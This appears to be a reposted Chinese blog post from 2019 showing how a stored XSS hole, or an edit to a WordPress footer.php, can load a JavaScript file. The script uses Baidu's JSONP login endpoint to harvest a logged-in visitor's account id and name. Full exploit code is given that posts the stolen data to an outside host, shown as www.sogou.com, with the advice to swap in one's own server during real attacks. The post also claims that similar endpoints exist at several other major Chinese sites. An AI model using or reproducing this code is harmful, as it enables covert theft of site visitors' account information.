XSS結合JSONP獲取網站訪客社交賬號信息
阿新 • • 發佈:2019-04-30
本地 color get 文件 存儲型xss 通過 object 用戶 是否
我在本地環境搭建了一個WordPress網站,並在該網站中植入JavaScript文件。如果訪客在瀏覽網站時登錄了百度賬號,該js文件能夠利用JSONP獲取網站訪客的百度賬號信息。
具體情況如下:
1、首先修改WordPress的footer.php文件,引入2個外部JavaScript文件。第一個是jQuery庫,第二個是jsonp代碼。在實際滲透中,如果該網站存在存儲型XSS漏洞,我們就可以將xss_jsonp.js文件植入進去。
2、xss_jsonp.js文件內容如下,具體功能是通過JSONP獲取百度賬號信息,並上傳到服務器上。為了做演示,這裏我把獲取到的信息上傳到www.sogou.com,在實際滲透中,你可以把信息上傳到自己的服務器上。
1 function jsonp_baidu() { 2 window._baidu_1 = function(object) { 3 if(!object.id) { 4 return; 5 } 6 var data = {}; 7 data.id = object.id; 8 data.name = object.name; 9 $.post(saveUrl + ‘?act=baidu‘, data); 10 }; 11 $.ajax({ 12 url: "https://baike.baidu.com/api/login/",13 type: "GET", 14 dataType: "jsonp", 15 jsonp: ‘callback‘, 16 jsonpCallback: "_baidu_1", 17 }); 18 } 19 var saveUrl = ‘https://www.sogou.com/xss_jsonp.php‘; 20 jsonp_baidu();
3、訪問網站並觀察剛才植入的js代碼是否執行。
訪問百度的JSONP接口,服務器返回登錄賬號的相關信息。
獲取到百度賬號信息後,上傳到www.sogou.com服務器。
目前,我已經找到了百度、淘寶、京東、騰訊、新浪、愛奇藝等多個國內流行網站的JSONP接口,從這些接口可以獲取用戶賬號信息。
XSS結合JSONP獲取網站訪客社交賬號信息